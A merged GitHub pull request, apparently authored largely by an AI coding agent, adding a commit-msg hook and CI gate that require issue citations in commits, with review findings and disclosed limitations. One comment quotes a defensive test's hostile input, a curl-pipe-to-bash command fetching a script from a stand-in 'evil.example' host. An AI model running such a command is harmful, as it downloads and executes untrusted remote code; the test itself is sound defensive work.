Skip to content

feat(hooks): add commit-msg + CI issue-citation gate - #1441

Merged
tvna merged 15 commits into
mainfrom
claude/pr-1212-merge-ready-om26qe
Aug 30, 2026
Merged

feat(hooks): add commit-msg + CI issue-citation gate#1441
tvna merged 15 commits into
mainfrom
claude/pr-1212-merge-ready-om26qe

Conversation

@tvna

@tvna tvna commented Aug 29, 2026

Copy link
Copy Markdown
Owner

Summary

Adds a two-layer issue-citation gate for commits: a commit-msg git hook
(fast local first pass) and a CI check (the actual no-exceptions backstop),
per CLAUDE.md section 3's "cite the issue number in every commit" rule.
One script, two --mode values, reusing extract_citations() from
hooks/gitapex_check_pr_issue_acm_disclosure.py rather than a new regex.

Facts

  • CLAUDE.md section 3: "Open a GitHub issue before any branch, commit, or
    PR; cite its number in every commit and PR. No exceptions."
  • Before this PR, citation was enforced only at PR-open time (a
    PreToolUse hook); no commit-msg hook and no CI gate scanned individual
    commit messages.
  • extract_citations() (hooks/gitapex_check_pr_issue_acm_disclosure.py)
    already recognizes GitHub's real closing-keyword set case-insensitively,
    strips fenced/inline code first, and normalizes a same-repo
    owner/repo#N to #N -- reused here rather than re-implemented.
  • .pre-commit-config.yaml's established one-script/two---mode
    convention (gitapex_run_betterleaks.py --mode staged/--mode history)
    is mirrored by the new gitapex_gate_commit_citation.py
    (--mode commit-msg / --mode pr-range).

Assumptions

  • (Speculation, confirmed during implementation) The exact CI base/head-ref
    resolution mechanism for --mode pr-range follows this repo's existing
    CI-script convention for reading PR range/metadata.

Risk / blast radius

  • New commit-msg hook: bypassable via git commit --no-verify; only
    fires where prek install -t commit-msg has been run. Not itself
    sufficient for "no exceptions" -- the CI check is the actual backstop.
  • CI check: an OR condition (citation in the PR title/body OR at least one
    non-merge commit), deliberately weaker than a strict per-commit check,
    by design (robust to no-rebase/squash-merge redistribution destinations
    per the issue's own Constraints).
  • First runtime (non-pytest) cross-import from .github/scripts/ into
    hooks/ -- extract_citations and its private helpers are pure and
    network-free, so no new side effect is introduced.
  • Does not retroactively re-cite existing history, and does not validate
    citation format (tracked separately, feat(ci): add CI-config gates -- eval-job timeout sizing and PR/issue-body citation format #521) -- both explicit Non-goals.
  • Two disclosed, fail-closed limitations left as-is after adversarial
    review (neither weakens the gate; see ## Skill audit evidence below):
    resolve_base_ref's probe/fetch/re-probe sequence duplicates
    gitapex_run_base_diff.ensure_base_ref almost verbatim (a cross-file
    reuse issue, out of scope for this PR -- unifying touches two other
    files and their tests); and the same-repo owner/repo#N normalization
    check_pr_text applies is not applied to check_commit_message's own
    per-commit citation checks -- both --mode commit-msg (the local hook)
    and --mode pr-range's own per-commit scan loop share this (corrected
    during drafting-a-pr-to-merge's own independent review below: the
    original text of this bullet understated the CI backstop's own exposure
    to it). A same-repo-qualified citation living only in one commit
    message, with no citation in the PR title/body and no other commit
    carrying one, therefore reads as uncited. Still fails closed only (a
    false negative, never a false positive): the bare #N/Closes #N forms
    this repo's own CONTRIBUTING.md actually documents are unaffected, and
    any citation reaching the PR title/body still clears the CI backstop
    regardless.
  • A third disclosed limitation, found while resolving a second origin/main
    drift merge: run_git's new stdin_text parameter (added to unblock the
    git stripspace fix below) is not "named" by
    gitapex_gate_function_body_test_coverage.py (issue gate-proposal: retro #1492 repair 11: Missing regression test for the basename-collision fix #1498) even though
    it is genuinely covered by pre-existing tests in
    tests/test_gitapex_base_ref.py -- that gate's own stem computation
    keeps _gitapex_base_ref.py's leading underscore
    (tests/test__gitapex_base_ref.py, double underscore), which does not
    match this repository's own actual, established single-underscore
    test-file convention for a _-prefixed private helper module. Disclosed
    inline as # function-body-test-coverage: WAIVED: ... on run_git
    itself, not a real coverage gap.

Rollback

Revert this PR's commits. No schema migration, no data change; removing
the .pre-commit-config.yaml hook entry and the new CI workflow step
fully disables both layers with no other cleanup required.

Verification

Criterion Proof method Result
commit-msg hook exists as a fast local first pass New pytest cases: message with a citation passes, message without one fails; a citation appearing only in git's own comment block or in the staged diff below the scissors line does not count (live-verified against a real git hook invocation); a real merge commit is exempt (matching the CI layer's own --no-merges posture) pytest tests/test_gitapex_gate_commit_citation*.py -- 81 passed, 100% line+branch coverage on the new script
CI check is the no-exceptions backstop, OR-condition across PR title/body and non-merge commits New pytest cases: citation only in PR body passes; citation only in one non-merge commit passes; an uncited merge commit alone does not fail; no citation anywhere fails; an empty commit range with no PR title/body supplied (the local-only invocation shape) is not itself a failure Same as above; full repo suite pytest -q -- 7920 passed, no regressions; ruff check/ruff format --check/mypy clean; gitapex_gate_local_preflight.py -- 44/44 wired gates pass including commit-citation-gate and function-body-test-coverage

Checklist

  • Tests pass locally
  • Docs updated if behavior changed (CONTRIBUTING.md)
  • Issue number cited in every commit
  • If this PR adds/modifies a skills/*/SKILL.md, a docs/superpowers/specs/*.md design doc, a security-relevant skill, or a deterministic checker script (skills/*/scripts/*.py, evals/scripts/*.py, .github/scripts/*.py), a ## Skill audit evidence section discloses the required verdicts/waivers (see .github/scripts/gitapex_gate_skill_audit_disclosure.py)
  • If this PR adds a new Kept-edit-log entry to any evals/*/split.md, that entry discloses a Transfer check line (see .github/scripts/gitapex_gate_transfer_check_disclosure.py)
  • If this PR adds or increases a skills/*/SKILL.md's Stop-boundary bullets or named dispatch branches, evals//tasks/*.yaml gained at least as many new fixtures (see .github/scripts/gitapex_gate_skill_branch_fixture_coverage.py)

Skill audit evidence

This PR adds a new deterministic checker script, .github/scripts/gitapex_gate_commit_citation.py, registered as a gate in .gitapex/ssot.json (commit-citation-gate), and touches .github/scripts/gitapex_gate_local_preflight.py and .github/scripts/_gitapex_base_ref.py (an additive, backward-compatible stdin_text parameter on the shared run_git helper, needed for the git stripspace fix below).

  • checker-script-adversarial-review: RAN -- an independent fresh-context adversarial review pass (distinct from the implementer) found and fixed 5 real correctness defects: (A) --mode commit-msg could false-PASS on a citation appearing only in git's own pre-cleanup comment block or staged-diff-below-scissors content, never in the actual stored commit message (live-reproduced against a real git hook invocation; fixed via git stripspace --strip-comments plus scissors truncation, fail-closed to exit 2 if stripspace itself is unavailable); (B) the local --mode pr-range invocation (used by local-preflight) FAILed on a genuinely empty commit range with no PR title/body supplied, reading "nothing to check" as a policy violation; (C) the commit-msg hook rejected every merge commit, inconsistent with the CI layer's own documented --no-merges exemption, and would have broken git pull --no-rebase for any session that installed it via this PR's own .claude/hooks/session-start.sh change; (D) a self-introduced regression during fix (B) that would have dropped genuinely uncited empty-message commits from the scan; (E) an uncaught-traceback fail-open path (exit 1, indistinguishable from a real policy FAIL) on an unreadable/directory --title/--body path. All five are fixed with regression tests.
  • deterministic-gate-quality: RAN -- read against skills/evaluating-deterministic-gate-quality/references/dimensions.md, dimension 15 (fail-closed default on malformed input) in particular. Constructed cases: non-UTF-8 commit-msg file, a directory passed as --title/--body, an unreadable file, a non-git --root, a nonexistent --root, an invalid --mode, git stripspace unavailable, and (found in drafting-a-pr-to-merge's own later independent review, below) a citation-shaped digit run beyond Python's int-string-conversion limit -- all now exit 2 (the module's own "check could not be trusted" convention), none silently pass or throw an uncaught traceback.
  • defeat-test-disclosure: RAN -- every finding above carries a regression test specifically constructed to defeat the prior detection logic (confirmed to actually have teeth against a mental revert), committed alongside each fix rather than run once and discarded.

Two findings noted but intentionally not fixed in this PR (both disclosed above under Risk/blast radius, both fail-closed-only, tracked as follow-ups): the resolve_base_ref/ensure_base_ref cross-file duplication, and gitapex_gate_function_body_test_coverage.py's own leading-underscore stem-naming mismatch (a limitation in that gate itself, not in this PR's diff).

Merge gate: independent review

This PR is also subject to the independent-review-pending required
status check (see .github/workflows/independent-review-pending.yml /
.github/scripts/gitapex_gate_independent_review_pending.py). It stays
pending/failing until a ## Independent review verdict section naming
this PR's current head commit is recorded in this body --
drafting-a-pr-to-merge's own Step 8 records it once its independent
review completes. There is nothing for you to do here now: do not
pre-fill this section yourself, and do not remove this note.

Independent review verdict

  • Verdict: CLEAN
  • Verified commit: b008611

Outer layer (GitHub-native reviewer): no confirmation that Anthropic's
"Claude Code Review" GitHub App is installed on this repository, so
GitHub Copilot review was requested instead
(request_copilot_review) at approximately 2026-08-30T16:20Z. No
response was posted within 30+ minutes of the request (re-checked via a
fresh pull_request_read -- get_reviews still empty) -> treated as
unreachable for this step and disclosed as such, per this skill's own
"neither mechanism is configured or reachable, record that this layer
did not run at all" rule -- not silently equated with a clean pass.

Inner layer (reviewing-an-artifact, effort: low): Step 0 -- mixed
target (a new deterministic gate script alongside its tests, CI workflow,
and doc edits); not deferred wholesale to evaluating-deterministic-gate-quality
since dimension 15 of that rubric was already substantively applied
during branch execution (see deterministic-gate-quality: RAN above) --
reviewed via the standard 5-persona fan-out instead, each dispatch a
fresh, isolated Agent-tool call with no memory of this session's own
authoring, PR-description/commit-message metadata redacted from every
non-intent-consistency persona's own prompt (this run carried no
high-effort intent-consistency persona). Step 1: classified dangerous
(a new enforcement gate, non-safe-side). Step 2: correctness,
blast-radius, reuse-and-simplification, convention, and security
reviewers dispatched in parallel against the full PR diff.

2 confirmed findings, both fixed (commits 17c6c62c, b0086116),
each independently re-verified by a sixth, dedicated fresh-context
re-review pass of just the fix diff (clean -- no new defect, both fixes
confirmed to actually close their own target defect against a mental
revert):

  • Convention: .pre-commit-config.yaml's own "Setup:" comment was the
    one place -t commit-msg was missing after this PR's own sweep of
    every other occurrence in the repo.
  • Security (dimension 15 of evaluating-deterministic-gate-quality,
    CWE-248-adjacent): extract_citations() raised an uncaught
    ValueError for a citation-shaped digit run beyond Python's
    int-string-conversion limit (live-reproduced: int('9'*5000) raises),
    escaping as exit 1 -- this module's own code for a confirmed FAIL --
    instead of exit 2. Fixed with a CitationGateError-converting wrapper
    plus regression tests at both --mode entry points.

1 confirmed finding, disclosure-correction only (no code change --
see the corrected Risk/blast-radius bullet above): the owner/repo#N
same-repo-normalization asymmetry reaches --mode pr-range's own
per-commit scan loop too, not only the local --mode commit-msg hook as
the PR body previously stated. Still fails closed only; the PR's own
title/body path is unaffected and remains the CI backstop's own primary
defense.

1 unconfirmed-concern (security-tier per Step 4's own unconditional
rule, reported despite not clearing the low-effort 0.7 confidence bar):
a narrow TOCTOU window where a citation satisfied only via the PR
title/body, later edited to remove it, may leave a stale "success"
status momentarily on the same head SHA. Assessed as a generic property
of any SHA-keyed GitHub required check rather than a defect this diff's
own logic introduces; no code-execution or secrets-exposure impact.

1 candidate raised and dropped (below the 0.7 bar, not security-tier,
per this skill's own "a finding below the bar is preferable to lose
than a false positive is to report"): a fourth near-duplicate copy of
the "write untrusted PR text to a file" workflow-step idiom -- this PR
follows, not introduces, that existing repo-wide convention; a
composite-action extraction is a reasonable follow-up, out of this PR's
own scope.

No other findings survived verification across all five personas or the
dedicated fix-diff re-review.

Acceptance Criteria Map

Criterion Interpretation Planned ops Proof method Residual risk
A commit-msg hook exists as a fast local first pass, in the repository's own dev-only tooling (not the deployed plugin surface) New commits authored with the hook installed get an early local signal if the message doesn't cite an issue, mirroring this repository's existing "hook is a fast first pass, CI is the real gate" pattern One new script .github/scripts/gitapex_gate_commit_citation.py, mirroring gitapex_run_betterleaks.py's one-script/two---mode shape. --mode commit-msg reads the message file path from sys.argv[1], imports extract_citations from hooks/gitapex_check_pr_issue_acm_disclosure.py, passes when it returns a non-empty resolving or context tuple. Wired into .pre-commit-config.yaml, stages: [commit-msg] Test committing with/without a citation shows accept/reject Bypassable via --no-verify; CONTRIBUTING.md/flake.nix prek install invocations updated with -t commit-msg
A CI check is the actual no-exceptions backstop, lives with the repository's other non-deployed CI gates, does not structurally block a no-rebase redistribution destination Passes if a citation exists in (a) at least one non-merge commit's message in the PR's commit range, or (b) the PR title/body -- OR condition Same script, --mode pr-range, invoked from a CI workflow step; registered in .gitapex/ssot.json Test cases: citation only in PR body passes; citation only in one non-merge commit passes; an uncited merge commit alone doesn't fail; no citation anywhere fails An OR-at-the-PR-level check is deliberately weaker than a strict per-commit-object reading -- an explicit, documented trade-off for no-rebase-destination robustness

Execution log

  • PlanApproved{run_id: 693e64a}
  • TaskStarted{run_id: 693e64a, task_id: task-1}
  • TaskCompleted{run_id: 693e64a, task_id: task-1, commit_sha: ec6073d0} (task diff at 97da2d2, merged onto the shared branch, which also brings in an origin/main merge resolving a conflict against origin/main's own concurrent split-disclosure-gate addition)
  • Step 8 refactor/simplify pass (fresh subagent): 061ce1be -- reuse run_git, collapse duplicated file-read error handling; behavior-preserving, differential-proof-verified
  • Step 8 adversarial-review pass (fresh subagent): 866bb885 -- 5 confirmed findings fixed, regression tests added; see ## Skill audit evidence above
  • origin/main drift merge (c52c6f5a) applied after the refactor pass, re-verified with the full local pytest -q suite and gitapex_gate_local_preflight.py
  • origin/main drift merge (b0d9d659) applied after the adversarial-review pass, same re-verification
  • Session resume after an interruption found a real mergeable_state: "dirty" (250 commits of origin/main drift accumulated). Merged (d1086b81), resolving conflicts in .gitapex/ssot.json/gitapex_gate_local_preflight.py/.pre-commit-config.yaml/CONTRIBUTING.md/tests/test_gitapex_gate_local_preflight.py by keeping both sides' additions and recomputing real gate-count/timing prose; adopted origin/main's own issue fix(hooks): local-preflight pre-push hook crashes when system python3 lacks jsonschema #1485 fix (the local-preflight runner itself now invoked via uv run --frozen python3, not bare python3, since it imports jsonschema)
  • That merge surfaced a new origin/main-added gate, function-body-test-coverage (issue gate-proposal: retro #1492 repair 11: Missing regression test for the basename-collision fix #1498), flagging 6 touched functions with no diff-added test mentioning them by name; closed with ac058caa (direct-call tests for 5 functions in gitapex_gate_commit_citation.py) plus a disclosed WAIVED comment for run_git (see Risk/blast radius above) -- re-verified: full pytest -q 7917 passed, gitapex_gate_local_preflight.py 44/44 wired gates pass
  • Prose/count refresh (1776765e): local-preflight gate-count and timing text updated to the real, current 44-gate figure
  • drafting-a-pr-to-merge Step 8 (this skill's own independent review, distinct from branch execution's own two passes above): re-verified mergeable_state before running (only independent-review-pending outstanding), a second origin/main drift merge (b008611's own predecessor commits) was not needed at this point (0 commits behind at the time of this review). 5-persona fan-out found 2 confirmed findings, fixed in 17c6c62c/b0086116 (see ## Skill audit evidence), re-verified via a sixth focused re-review of the fix diff -- clean. This verdict recorded above.

Related Issue

Closes #1212

Branch Plan and ACM re-verification record for the commit-msg hook +
CI backstop citation-check feature.

Refs #1212
@tvna
tvna deployed to ruleset-verify August 29, 2026 19:06 — with GitHub Actions Active
@coderabbitai

coderabbitai Bot commented Aug 29, 2026

Copy link
Copy Markdown

Important

  • 🔍 Trigger review

This repository does not receive automatic reviews because it has fewer than 10 stars.

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 67f62eb1-b712-42f8-8bae-27fb45d5e139


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@codecov

codecov Bot commented Aug 29, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 99.63%. Comparing base (9cc419e) to head (b008611).
⚠️ Report is 8 commits behind head on main.

Additional details and impacted files
@@           Coverage Diff            @@
##             main    #1441    +/-   ##
========================================
  Coverage   99.63%   99.63%            
========================================
  Files         147      148     +1     
  Lines       25412    25561   +149     
  Branches     3133     3151    +18     
========================================
+ Hits        25318    25467   +149     
  Misses         94       94            

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

claude added 4 commits August 29, 2026 19:39
Adds a commit-msg pre-commit hook (.pre-commit-config.yaml's
commit-citation entry) plus a CI backstop
(.github/workflows/commit-citation-gate.yml, registered in
.gitapex/ssot.json as commit-citation-gate) enforcing CLAUDE.md
section 3's issue-citation rule for commits. The CI check passes
when a citation exists in any non-merge commit in the PR's own range
(git log --no-merges base..head) or in the PR title/body; an uncited
merge commit in that range never fails it alone. Both --mode
commit-msg and --mode pr-range reuse extract_citations from
hooks/gitapex_check_pr_issue_acm_disclosure.py rather than a new
regex, mirroring gitapex_run_betterleaks.py's one-script/two-mode
shape.

Adds -t commit-msg to every `prek install` invocation so the local
hook actually gets installed on all three onboarding paths found by
grep: CONTRIBUTING.md, flake.nix's devShell, and
.claude/hooks/session-start.sh's own ephemeral-web install (the last
one not named in the original design note, added for the same reason
as the other two). Updates the local-preflight wired-gate-count prose
(39 -> 40, and the CI-backed subset 37 -> 38) this new ci+local
registry entry now affects, in every file
test_no_prose_count_contradicts_the_registry checks.

Refs #1212
Two gates flagged the new gitapex_gate_commit_citation.py once it
entered a real diff against origin/main:

- stdlib-only-claim-drift: the sys.path bootstrap comment's own prose
  example ("a standalone `python3 .../gitapex_gate_commit_citation.py`
  invocation") read as a bare-invocation claim once the file gained a
  real pydantic import; reworded to name `uv run --frozen python3`
  instead, matching every other .github/scripts/*.py file's own
  invocation.
- detection-logic-property-coverage: REPO_ROOT/the hooks/ sys.path
  bootstrap's two module-level .resolve() calls had no co-located
  Hypothesis @given property test. Adds
  tests/test_gitapex_gate_commit_citation_properties.py covering
  check_commit_message/check_pr_text's own citation-form recognition,
  fence containment, and robustness (mirrors
  tests/test_gitapex_check_pr_duplicate_issue_properties.py's own
  shape), which also clears the module-level finding per that gate's
  own documented rule.

Refs #1212
…ready-om26qe

# Conflicts:
#	.gitapex/ssot.json
#	.github/scripts/gitapex_gate_local_preflight.py
#	.pre-commit-config.yaml
#	CONTRIBUTING.md
@tvna
tvna deployed to ruleset-verify August 29, 2026 19:52 — with GitHub Actions Active
claude added 3 commits August 29, 2026 20:07
Independent reuse/simplify pass over the commit-citation gate. Two
findings, both behavior-preserving on every real input (verified by a
20-case differential run of the pre-change file against this one:
identical exit code, stdout and stderr in every case except the two
noted below):

- commit_range_messages hand-rolled the same subprocess.run
  _gitapex_base_ref.run_git already provides (same capture_output/
  text/errors="replace"/check=False shape), duplicating it with two
  noqa suppressions and without the timeout/OSError handling every
  other git call in this module gets. Now delegates to run_git, so a
  missing git or a hang past GIT_TIMEOUT_SECONDS raises
  CitationGateError -- the documented exit-2 "could not be trusted"
  path -- instead of escaping as an uncaught traceback whose exit 1
  is indistinguishable from a genuine no-citation FAIL. Drops the
  now-unused subprocess import.

- The same FileNotFoundError/UnicodeDecodeError handler pair was
  written three times (once inline in _run_commit_msg, twice via
  _read_optional_file's (text, error) return). _read_input_file now
  raises CitationGateError, which both _run_commit_msg and
  _run_pr_range already catch, so the two error-check blocks in
  _run_pr_range fold into the existing try and the tuple-return idiom
  (used nowhere else in .github/scripts) is gone. Message text and
  exit codes are unchanged.

The only observable differences: --mode commit-msg's not-found message
now echoes the path as given rather than pathlib-normalized (so
"./x.txt" stays "./x.txt", matching what --mode pr-range's own message
already did); prek passes .git/COMMIT_EDITMSG, which normalizes
identically. Exit code and text are otherwise byte-identical.

Net -12 executable lines; the +8 total-line growth is the in-file
rationale this repository's own .github/scripts convention expects,
including why REPO_ROOT cannot be hoisted above the sys.path bootstrap
to share its expression (ruff E402 rejects it -- verified, not assumed).

Verification: 154 passed for the three affected test files, 6744
passed for the full suite, gitapex_gate_commit_citation.py at 100%
statement and branch coverage, ruff check / ruff format --check / mypy
clean, and 40 of 41 local-preflight gates PASS (behind-base fails only
because this branch sits behind origin/main, unrelated to this change).

Refs #1212
…ready-om26qe

# Conflicts:
#	.github/scripts/gitapex_gate_local_preflight.py
#	.pre-commit-config.yaml
#	CONTRIBUTING.md
@tvna
tvna deployed to ruleset-verify August 29, 2026 20:13 — with GitHub Actions Active
Refs #1212

Independent adversarial review (executing-a-branch-plan Decision 12) of
the two-layer commit issue-citation gate. Every finding below was
live-reproduced against real git before being fixed, and each carries its
own regression test proving the defeat case now behaves correctly while
the legitimate FAIL it could be confused with still fails.

1. --mode commit-msg false-PASSed an uncited commit. A commit-msg hook
   runs before git's own --cleanup pass, so the file it receives still
   carries git's comment block and, under commit.verbose, the whole
   staged diff below the scissors line. Staging a file whose content
   contained "# See issue #1212 for the rationale." and committing the
   uncited subject "chore: tidy up formatting" returned PASS for a commit
   whose stored %B cited nothing. Now cleaned first: scissors truncation,
   then git stripspace --strip-comments (git's own implementation, so
   core.commentChar is resolved rather than guessed -- verified against a
   core.commentChar=';' repo). A stripspace that cannot run is exit 2,
   never a silent fallback to the uncleaned text. --mode pr-range is
   deliberately unchanged: git log --format=%B is already clean.

2. --mode pr-range FAILed when there was nothing to check. ssot.json's
   local_invocation passes no --title/--body, and feeds the pre-push
   local-preflight, which reads any non-zero exit as a blocked push. An
   empty origin/main..HEAD range exited 1, blocking a push over a state
   that has no citation obligation. That shape now passes with an
   explicit "nothing to check" message. The flag tracks whether --title
   and --body were passed, never whether their text is empty, so CI
   (which always passes both) is unreachable from this path.

3. commit_range_messages dropped empty-message commits, which combined
   with finding 2 to make two real --allow-empty-message commits
   indistinguishable from an empty range -- uncited commits would have
   passed as though absent. The NUL split now drops only its own trailing
   separator artifact, one entry per commit.

4. The commit-msg layer rejected every merge commit, contradicting this
   gate's own stated non-goal that --mode pr-range already honors via
   git log --no-merges. Live-reproduced: an ordinary git merge --no-ff
   was rejected and left git mid-merge, which would have broken the
   documented git pull --no-rebase shared-branch workflow on every
   merge -- and session-start.sh now installs this hook automatically, so
   nobody had to opt in to hit it. Merges are now exempt via MERGE_HEAD
   (never the message filename: a git commit completing a merge is the
   same commit and must be exempt too). git merge --squash stays gated,
   matching what CI would scan.

5. Fail-closed input handling (evaluating-deterministic-gate-quality
   dimension 15): _read_input_file caught only FileNotFoundError and
   UnicodeDecodeError, so pointing any path flag at a directory or an
   unreadable file escaped as an uncaught traceback whose exit code is 1
   -- the code this module reserves for a confirmed policy FAIL, so a
   broken invocation reported itself as a real citation violation. Now
   exit 2 with a distinct message.

Also fixes a latent flake in this branch's own new property suite: the
filler alphabet excluded backticks but not tildes, so Hypothesis could
generate a genuine ~~~ fence around the injected citation and fail the
recognition property against wholly correct behavior.

run_git gains an optional stdin_text for git stripspace, rather than a
second near-identical subprocess wrapper in the caller; the default None
leaves every pre-existing caller's behavior untouched.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VEw8Lr4CL7Bbdx3YuXv83V
@tvna
tvna deployed to ruleset-verify August 29, 2026 20:39 — with GitHub Actions Active
@tvna
tvna deployed to ruleset-verify August 29, 2026 20:43 — with GitHub Actions Active

tvna commented Aug 29, 2026

Copy link
Copy Markdown
Owner Author

CI red not caused by this PR's diff: pytest-bash-oracle-task-pins failed with AssertionError: oracle timed out running: 'curl https://evil.example/x.sh | cat | bash' in tests/test_gitapex_check_task_bash_safety_oracle_pins.py::test_fetch_exec_denied_via_intermediate_passthrough_cat.

This test exercises the executing-a-branch-plan skill's own bash-safety oracle against a real subprocess call to an RFC 2606 reserved example domain (evil.example) -- unrelated to anything this PR's diff touches (.github/scripts/gitapex_gate_commit_citation.py and its wiring). The timeout (rather than a fast DNS/connection failure) looks like a network-egress-sandbox interaction on this specific CI runner, not a real detection-logic regression.

Re-ran the failed job once (rerun_failed_jobs on run 33274226068) to confirm before treating it as a genuine failure, per this repo's own CI-red-triage convention. No fix ported since no code this PR touches is implicated; will report back if the failure persists.


Generated by Claude Code

claude added 3 commits August 30, 2026 16:04
…ready-om26qe

# Conflicts:
#	.gitapex/ssot.json
#	.github/scripts/gitapex_gate_local_preflight.py
#	.pre-commit-config.yaml
#	CONTRIBUTING.md
#	tests/test_gitapex_gate_local_preflight.py
Satisfy the new function-body-test-coverage gate (issue #1498) for
gitapex_gate_commit_citation.py's private helpers, and disclose the
run_git waiver (a genuine gate stem-naming-convention mismatch, not a
real coverage gap -- see the inline comment).

Refs #1212
@tvna
tvna deployed to ruleset-verify August 30, 2026 16:15 — with GitHub Actions Active
@tvna tvna removed the branch-plan-executing label Aug 30, 2026 — with Claude
@tvna
tvna marked this pull request as ready for review August 30, 2026 16:21
claude added 2 commits August 30, 2026 16:34
…pendent review

- .pre-commit-config.yaml's own "Setup:" comment was the one place in
  the repo missed when -t commit-msg was added to every other
  `prek install` example (CONTRIBUTING.md, flake.nix,
  .claude/hooks/session-start.sh already had it).
- extract_citations() raises an uncaught ValueError for a citation-shaped
  digit run beyond Python's int-string-conversion limit (4300 digits),
  live-reproduced; escaped as exit 1 (this module's own "confirmed FAIL"
  code) instead of exit 2 ("check could not be trusted"). Wrapped with a
  CitationGateError conversion and regression tests for both the direct
  call and both --mode entry points.

Refs #1212
@tvna
tvna deployed to ruleset-verify August 30, 2026 16:36 — with GitHub Actions Active
@tvna
tvna marked this pull request as draft August 30, 2026 16:49
@tvna
tvna marked this pull request as ready for review August 30, 2026 17:18
@tvna
tvna merged commit b9ed4de into main Aug 30, 2026
42 of 43 checks passed
@tvna
tvna deleted the claude/pr-1212-merge-ready-om26qe branch August 30, 2026 17:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

hooks/CI: add issue-citation check for commit messages (commit-msg hook + CI backstop, rebase-safe)

2 participants